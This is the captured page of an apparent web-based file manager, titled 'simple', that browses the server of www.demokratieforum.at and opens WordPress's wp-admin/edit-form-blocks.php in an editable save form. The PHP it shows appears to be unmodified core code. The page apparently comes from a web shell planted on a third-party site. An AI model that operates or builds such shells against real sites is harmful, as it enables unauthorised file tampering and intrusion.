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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.demokratieforum.at%2F'>www.demokratieforum.at</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.demokratieforum.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.demokratieforum.at%2Fhtdocs%2Fwp-admin%2F'>wp-admin</a>/</p><hr><h3>✏️ Editing: edit-form-blocks.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * The block editor page.
 *
 * @since 5.0.0
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don&#039;t load directly.
if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;
}

/**
 * @global string       $post_type        Global post type.
 * @global WP_Post_Type $post_type_object Global post type object.
 * @global WP_Post      $post             Global post object.
 * @global string       $title            The title of the current screen.
 * @global array        $wp_meta_boxes    Global meta box state.
 */
global $post_type, $post_type_object, $post, $title, $wp_meta_boxes;

$block_editor_context = new WP_Block_Editor_Context( array( &#039;post&#039; =&gt; $post ) );

// Flag that we&#039;re loading the block editor.
$current_screen = get_current_screen();
$current_screen-&gt;is_block_editor( true );

// Default to is-fullscreen-mode to avoid jumps in the UI.
add_filter(
	&#039;admin_body_class&#039;,
	static function ( $classes ) {
		return &quot;$classes is-fullscreen-mode&quot;;
	}
);

/*
 * Emoji replacement is disabled for now, until it plays nicely with React.
 */
remove_action( &#039;admin_print_scripts&#039;, &#039;print_emoji_detection_script&#039; );

/*
 * Block editor implements its own Options menu for toggling Document Panels.
 */
add_filter( &#039;screen_options_show_screen&#039;, &#039;__return_false&#039; );

wp_enqueue_script( &#039;heartbeat&#039; );
wp_enqueue_script( &#039;wp-edit-post&#039; );

$rest_path = rest_get_route_for_post( $post );

$active_theme                   = get_stylesheet();
$global_styles_endpoint_context = current_user_can( &#039;edit_theme_options&#039; ) ? &#039;edit&#039; : &#039;view&#039;;
$template_lookup_slug           = &#039;page&#039; === $post-&gt;post_type ? &#039;page&#039; : &#039;single-&#039; . $post-&gt;post_type;
if ( ! empty( $post-&gt;post_name ) ) {
	$template_lookup_slug .= &#039;-&#039; . $post-&gt;post_name;
}
// Preload common data.
$preload_paths = array(
	&#039;/wp/v2/types?context=view&#039;,
	&#039;/wp/v2/taxonomies?context=view&#039;,
	add_query_arg( &#039;context&#039;, &#039;edit&#039;, $rest_path ),
	sprintf( &#039;/wp/v2/types/%s?context=edit&#039;, $post_type ),
	&#039;/wp/v2/users/me&#039;,
	array( rest_get_route_for_post_type_items( &#039;attachment&#039; ), &#039;OPTIONS&#039; ),
	array( rest_get_route_for_post_type_items( &#039;page&#039; ), &#039;OPTIONS&#039; ),
	array( rest_get_route_for_post_type_items( &#039;wp_block&#039; ), &#039;OPTIONS&#039; ),
	array( rest_get_route_for_post_type_items( &#039;wp_template&#039; ), &#039;OPTIONS&#039; ),
	sprintf( &#039;%s/autosaves?context=edit&#039;, $rest_path ),
	&#039;/wp/v2/settings&#039;,
	array( &#039;/wp/v2/settings&#039;, &#039;OPTIONS&#039; ),
	&#039;/wp/v2/global-styles/themes/&#039; . $active_theme . &#039;?context=view&#039;,
	&#039;/wp/v2/global-styles/themes/&#039; . $active_theme . &#039;/variations?context=view&#039;,
	&#039;/wp/v2/themes?context=edit&amp;status=active&#039;,
	array( &#039;/wp/v2/global-styles/&#039; . WP_Theme_JSON_Resolver::get_user_global_styles_post_id(), &#039;OPTIONS&#039; ),
	/*
	 * Preload the global styles path with the correct context based on user caps.
	 * NOTE: There is an equivalent conditional check in the client-side code to fetch
	 * the global styles entity using the appropriate context value.
	 * See the call to `canUser()`, under `useGlobalStylesUserConfig()` in `packages/edit-site/src/components/use-global-styles-user-config/index.js`.
	 * Please ensure that the equivalent check is kept in sync with this preload path.
	 */
	&#039;/wp/v2/global-styles/&#039; . WP_Theme_JSON_Resolver::get_user_global_styles_post_id() . &#039;?context=&#039; . $global_styles_endpoint_context,
	// Used by getBlockPatternCategories in useBlockEditorSettings.
	&#039;/wp/v2/block-patterns/categories&#039;,
	/**
	 * The preloaded URL must exactly match the request the client makes,
	 * including the field order.
	 * @link https://github.com/WordPress/gutenberg/blob/trunk/packages/core-data/src/entities.js
	 */
	&#039;/?_fields=&#039; . implode(
		&#039;,&#039;,
		array(
			&#039;description&#039;,
			&#039;gmt_offset&#039;,
			&#039;home&#039;,
			&#039;image_max_bit_depth&#039;,
			&#039;image_sizes&#039;,
			&#039;image_size_threshold&#039;,
			&#039;image_strip_meta&#039;,
			&#039;name&#039;,
			&#039;site_icon&#039;,
			&#039;site_icon_url&#039;,
			&#039;site_logo&#039;,
			&#039;timezone_string&#039;,
			&#039;url&#039;,
			&#039;page_for_posts&#039;,
			&#039;page_on_front&#039;,
			&#039;show_on_front&#039;,
		)
	),
	add_query_arg(
		&#039;slug&#039;,
		// @link https://github.com/WordPress/gutenberg/blob/e093fefd041eb6cc4a4e7f67b92ab54fd75c8858/packages/core-data/src/private-selectors.ts#L244-L254
		$template_lookup_slug,
		&#039;/wp/v2/templates/lookup&#039;
	),
	&#039;/wp/v2/templates/lookup?slug=front-page&#039;,
	&#039;/wp/v2/taxonomies?context=edit&#039;,
	array( rest_get_route_for_post_type_items( $post_type ), &#039;OPTIONS&#039; ),
);

if ( post_type_supports( $post_type, &#039;author&#039; ) &amp;&amp; $post-&gt;post_author &gt; 0 ) {
	$preload_paths[] = sprintf(
		&#039;/wp/v2/users/%d?context=view&amp;_fields=id,name&#039;,
		(int) $post-&gt;post_author
	);
}

block_editor_rest_api_preload( $preload_paths, $block_editor_context );

wp_add_inline_script(
	&#039;wp-blocks&#039;,
	sprintf( &#039;wp.blocks.setCategories( %s );&#039;, wp_json_encode( get_block_categories( $post ), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ),
	&#039;after&#039;
);

/*
 * Assign initial edits, if applicable. These are not initially assigned to the persisted post,
 * but should be included in its save payload.
 */
$initial_edits = array();
$is_new_post   = false;
if ( &#039;auto-draft&#039; === $post-&gt;post_status ) {
	$is_new_post = true;
	// Override &quot;(Auto Draft)&quot; new post default title with empty string, or filtered value.
	if ( post_type_supports( $post-&gt;post_type, &#039;title&#039; ) ) {
		$initial_edits[&#039;title&#039;] = $post-&gt;post_title;
	}

	if ( post_type_supports( $post-&gt;post_type, &#039;editor&#039; ) ) {
		$initial_edits[&#039;content&#039;] = $post-&gt;post_content;
	}

	if ( post_type_supports( $post-&gt;post_type, &#039;excerpt&#039; ) ) {
		$initial_edits[&#039;excerpt&#039;] = $post-&gt;post_excerpt;
	}
}

// Preload server-registered block schemas.
wp_add_inline_script(
	&#039;wp-blocks&#039;,
	&#039;wp.blocks.unstable__bootstrapServerSideBlockDefinitions(&#039; . wp_json_encode( get_block_editor_server_block_settings(), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . &#039;);&#039;
);

// Preload server-registered block bindings sources.
$registered_sources = get_all_registered_block_bindings_sources();
if ( ! empty( $registered_sources ) ) {
	$filtered_sources = array();
	foreach ( $registered_sources as $source ) {
		$filtered_sources[] = array(
			&#039;name&#039;        =&gt; $source-&gt;name,
			&#039;label&#039;       =&gt; $source-&gt;label,
			&#039;usesContext&#039; =&gt; $source-&gt;uses_context,
		);
	}
	$script = sprintf( &#039;for ( const source of %s ) { wp.blocks.registerBlockBindingsSource( source ); }&#039;, wp_json_encode( $filtered_sources, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) );
	wp_add_inline_script(
		&#039;wp-blocks&#039;,
		$script
	);
}

// Get admin url for handling meta boxes.
$meta_box_url = admin_url( &#039;post.php&#039; );
$meta_box_url = add_query_arg(
	array(
		&#039;post&#039;                  =&gt; $post-&gt;ID,
		&#039;action&#039;                =&gt; &#039;edit&#039;,
		&#039;meta-box-loader&#039;       =&gt; true,
		&#039;meta-box-loader-nonce&#039; =&gt; wp_create_nonce( &#039;meta-box-loader&#039; ),
	),
	$meta_box_url
);
wp_add_inline_script(
	&#039;wp-editor&#039;,
	sprintf( &#039;var _wpMetaBoxUrl = %s;&#039;, wp_json_encode( $meta_box_url, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ),
	&#039;before&#039;
);

// Set Heartbeat interval to 10 seconds, used to refresh post locks.
wp_add_inline_script(
	&#039;heartbeat&#039;,
	&#039;jQuery( function() {
		wp.heartbeat.interval( 10 );
	} );&#039;,
	&#039;after&#039;
);

/*
 * Get all available templates for the post/page attributes meta-box.
 * The &quot;Default template&quot; array element should only be added if the array is
 * not empty so we do not trigger the template select element without any options
 * besides the default value.
 */
$available_templates = wp_get_theme()-&gt;get_page_templates( get_post( $post-&gt;ID ) );
$available_templates = ! empty( $available_templates ) ? array_replace(
	array(
		/** This filter is documented in wp-admin/includes/meta-boxes.php */
		&#039;&#039; =&gt; apply_filters( &#039;default_page_template_title&#039;, __( &#039;Default template&#039; ), &#039;rest-api&#039; ),
	),
	$available_templates
) : $available_templates;

// Lock settings.
$user_id = wp_check_post_lock( $post-&gt;ID );
if ( $user_id ) {
	$locked = false;

	/** This filter is documented in wp-admin/includes/post.php */
	if ( apply_filters( &#039;show_post_locked_dialog&#039;, true, $post, $user_id ) ) {
		$locked = true;
	}

	$user_details = null;
	if ( $locked ) {
		$user         = get_userdata( $user_id );
		$user_details = array(
			&#039;name&#039; =&gt; $user-&gt;display_name,
		);

		if ( get_option( &#039;show_avatars&#039; ) ) {
			$user_details[&#039;avatar&#039;] = get_avatar_url( $user_id, array( &#039;size&#039; =&gt; 128 ) );
		}
	}

	$lock_details = array(
		&#039;isLocked&#039; =&gt; $locked,
		&#039;user&#039;     =&gt; $user_details,
	);
} else {
	// Lock the post.
	$active_post_lock = wp_set_post_lock( $post-&gt;ID );
	if ( $active_post_lock ) {
		$active_post_lock = esc_attr( implode( &#039;:&#039;, $active_post_lock ) );
	}

	$lock_details = array(
		&#039;isLocked&#039;       =&gt; false,
		&#039;activePostLock&#039; =&gt; $active_post_lock,
	);
}

/**
 * Filters the body placeholder text.
 *
 * @since 5.0.0
 * @since 5.8.0 Changed the default placeholder text.
 *
 * @param string  $text Placeholder text. Default &#039;Type / to choose a block&#039;.
 * @param WP_Post $post Post object.
 */
$body_placeholder = apply_filters( &#039;write_your_story&#039;, __( &#039;Type / to choose a block&#039; ), $post );

$editor_settings = array(
	&#039;availableTemplates&#039;   =&gt; $available_templates,
	&#039;disablePostFormats&#039;   =&gt; ! current_theme_supports( &#039;post-formats&#039; ),
	/** This filter is documented in wp-admin/edit-form-advanced.php */
	&#039;titlePlaceholder&#039;     =&gt; apply_filters( &#039;enter_title_here&#039;, __( &#039;Add title&#039; ), $post ),
	&#039;bodyPlaceholder&#039;      =&gt; $body_placeholder,
	&#039;autosaveInterval&#039;     =&gt; AUTOSAVE_INTERVAL,
	&#039;richEditingEnabled&#039;   =&gt; user_can_richedit(),
	&#039;postLock&#039;             =&gt; $lock_details,
	&#039;postLockUtils&#039;        =&gt; array(
		&#039;nonce&#039;       =&gt; wp_create_nonce( &#039;lock-post_&#039; . $post-&gt;ID ),
		&#039;unlockNonce&#039; =&gt; wp_create_nonce( &#039;update-post_&#039; . $post-&gt;ID ),
		&#039;ajaxUrl&#039;     =&gt; admin_url( &#039;admin-ajax.php&#039; ),
	),
	&#039;supportsLayout&#039;       =&gt; wp_theme_has_theme_json(),
	&#039;supportsTemplateMode&#039; =&gt; current_theme_supports( &#039;block-templates&#039; ),

	// Whether or not to load the &#039;postcustom&#039; meta box is stored as a user meta
	// field so that we&#039;re not always loading its assets.
	&#039;enableCustomFields&#039;   =&gt; (bool) get_user_meta( get_current_user_id(), &#039;enable_custom_fields&#039;, true ),
);

// Add additional back-compat patterns registered by `current_screen` et al.
$editor_settings[&#039;__experimentalAdditionalBlockPatterns&#039;]          = WP_Block_Patterns_Registry::get_instance()-&gt;get_all_registered( true );
$editor_settings[&#039;__experimentalAdditionalBlockPatternCategories&#039;] = WP_Block_Pattern_Categories_Registry::get_instance()-&gt;get_all_registered( true );

$autosave = wp_get_post_autosave( $post-&gt;ID );
if ( $autosave ) {
	if ( mysql2date( &#039;U&#039;, $autosave-&gt;post_modified_gmt, false ) &gt; mysql2date( &#039;U&#039;, $post-&gt;post_modified_gmt, false ) ) {
		$editor_settings[&#039;autosave&#039;] = array(
			&#039;editLink&#039; =&gt; get_edit_post_link( $autosave-&gt;ID ),
		);
	} else {
		wp_delete_post_revision( $autosave-&gt;ID );
	}
}

if ( ! empty( $post_type_object-&gt;template ) ) {
	$editor_settings[&#039;template&#039;]     = $post_type_object-&gt;template;
	$editor_settings[&#039;templateLock&#039;] = ! empty( $post_type_object-&gt;template_lock ) ? $post_type_object-&gt;template_lock : false;
}

// If there&#039;s no template set on a new post, use the post format, instead.
if ( $is_new_post &amp;&amp; ! isset( $editor_settings[&#039;template&#039;] ) &amp;&amp; &#039;post&#039; === $post-&gt;post_type ) {
	$post_format = get_post_format( $post );
	if ( in_array( $post_format, array( &#039;audio&#039;, &#039;gallery&#039;, &#039;image&#039;, &#039;quote&#039;, &#039;video&#039; ), true ) ) {
		$editor_settings[&#039;template&#039;] = array( array( &quot;core/$post_format&quot; ) );
	}
}

if ( wp_is_block_theme() &amp;&amp; $editor_settings[&#039;supportsTemplateMode&#039;] ) {
	$editor_settings[&#039;defaultTemplatePartAreas&#039;] = get_allowed_block_template_part_areas();
}

/**
 * Scripts
 */
wp_enqueue_media(
	array(
		&#039;post&#039; =&gt; $post-&gt;ID,
	)
);
wp_tinymce_inline_scripts();
wp_enqueue_editor();

/**
 * Styles
 */
wp_enqueue_style( &#039;wp-edit-post&#039; );

/**
 * Fires after block assets have been enqueued for the editing interface.
 *
 * Call `add_action` on any hook before &#039;admin_enqueue_scripts&#039;.
 *
 * In the function call you supply, simply use `wp_enqueue_script` and
 * `wp_enqueue_style` to add your functionality to the block editor.
 *
 * @since 5.0.0
 */
do_action( &#039;enqueue_block_editor_assets&#039; );

// In order to duplicate classic meta box behavior, we need to run the classic meta box actions.
require_once ABSPATH . &#039;wp-admin/includes/meta-boxes.php&#039;;
register_and_do_post_meta_boxes( $post );

// Check if the Custom Fields meta box has been removed at some point.
$core_meta_boxes = $wp_meta_boxes[ $current_screen-&gt;id ][&#039;normal&#039;][&#039;core&#039;];
if ( ! isset( $core_meta_boxes[&#039;postcustom&#039;] ) || ! $core_meta_boxes[&#039;postcustom&#039;] ) {
	unset( $editor_settings[&#039;enableCustomFields&#039;] );
}

$editor_settings = get_block_editor_settings( $editor_settings, $block_editor_context );

$init_script = &lt;&lt;&lt;JS
( function() {
	window._wpLoadBlockEditor = new Promise( function( resolve ) {
		wp.domReady( function() {
			resolve( wp.editPost.initializeEditor( &#039;editor&#039;, &quot;%s&quot;, %d, %s, %s ) );
		} );
	} );
} )();
JS;

$script = sprintf(
	$init_script,
	$post-&gt;post_type,
	$post-&gt;ID,
	wp_json_encode( $editor_settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
	wp_json_encode( $initial_edits, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES )
);
wp_add_inline_script( &#039;wp-edit-post&#039;, $script );

if ( (int) get_option( &#039;page_for_posts&#039; ) === $post-&gt;ID ) {
	add_action( &#039;admin_enqueue_scripts&#039;, &#039;_wp_block_editor_posts_page_notice&#039; );
}

require_once ABSPATH . &#039;wp-admin/admin-header.php&#039;;
?&gt;

&lt;div class=&quot;block-editor&quot;&gt;
	&lt;h1 class=&quot;screen-reader-text hide-if-no-js&quot;&gt;&lt;?php echo esc_html( $title ); ?&gt;&lt;/h1&gt;
	&lt;div id=&quot;editor&quot; class=&quot;block-editor__container hide-if-no-js&quot;&gt;&lt;/div&gt;
	&lt;div id=&quot;metaboxes&quot; class=&quot;hidden&quot;&gt;
		&lt;?php the_block_editor_meta_boxes(); ?&gt;
	&lt;/div&gt;

	&lt;?php // JavaScript is disabled. ?&gt;
	&lt;div class=&quot;wrap hide-if-js block-editor-no-js&quot;&gt;
		&lt;h1 class=&quot;wp-heading-inline&quot;&gt;&lt;?php echo esc_html( $title ); ?&gt;&lt;/h1&gt;
		&lt;?php
		if ( file_exists( WP_PLUGIN_DIR . &#039;/classic-editor/classic-editor.php&#039; ) ) {
			// If Classic Editor is already installed, provide a link to activate the plugin.
			$installed           = true;
			$plugin_activate_url = wp_nonce_url( &#039;plugins.php?action=activate&amp;amp;plugin=classic-editor/classic-editor.php&#039;, &#039;activate-plugin_classic-editor/classic-editor.php&#039; );
			$message             = sprintf(
				/* translators: %s: Link to activate the Classic Editor plugin. */
				__( &#039;The block editor requires JavaScript. Please enable JavaScript in your browser settings, or activate the &lt;a href=&quot;%s&quot;&gt;Classic Editor plugin&lt;/a&gt;.&#039; ),
				esc_url( $plugin_activate_url )
			);
		} else {
			// If Classic Editor is not installed, provide a link to install it.
			$installed          = false;
			$plugin_install_url = wp_nonce_url( self_admin_url( &#039;update.php?action=install-plugin&amp;plugin=classic-editor&#039; ), &#039;install-plugin_classic-editor&#039; );
			$message            = sprintf(
				/* translators: %s: Link to install the Classic Editor plugin. */
				__( &#039;The block editor requires JavaScript. Please enable JavaScript in your browser settings, or install the &lt;a href=&quot;%s&quot;&gt;Classic Editor plugin&lt;/a&gt;.&#039; ),
				esc_url( $plugin_install_url )
			);
		}

		/**
		 * Filters the message displayed in the block editor interface when JavaScript is
		 * not enabled in the browser.
		 *
		 * @since 5.0.3
		 * @since 6.4.0 Added `$installed` parameter.
		 *
		 * @param string  $message   The message being displayed.
		 * @param WP_Post $post      The post being edited.
		 * @param bool    $installed Whether the classic editor is installed.
		 */
		$message = apply_filters( &#039;block_editor_no_javascript_message&#039;, $message, $post, $installed );
		wp_admin_notice(
			$message,
			array(
				&#039;type&#039; =&gt; &#039;error&#039;,
			)
		);
		?&gt;
	&lt;/div&gt;
&lt;/div&gt;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.demokratieforum.at%2Fhtdocs%2Fwp-admin'>🔙 Back</a></p>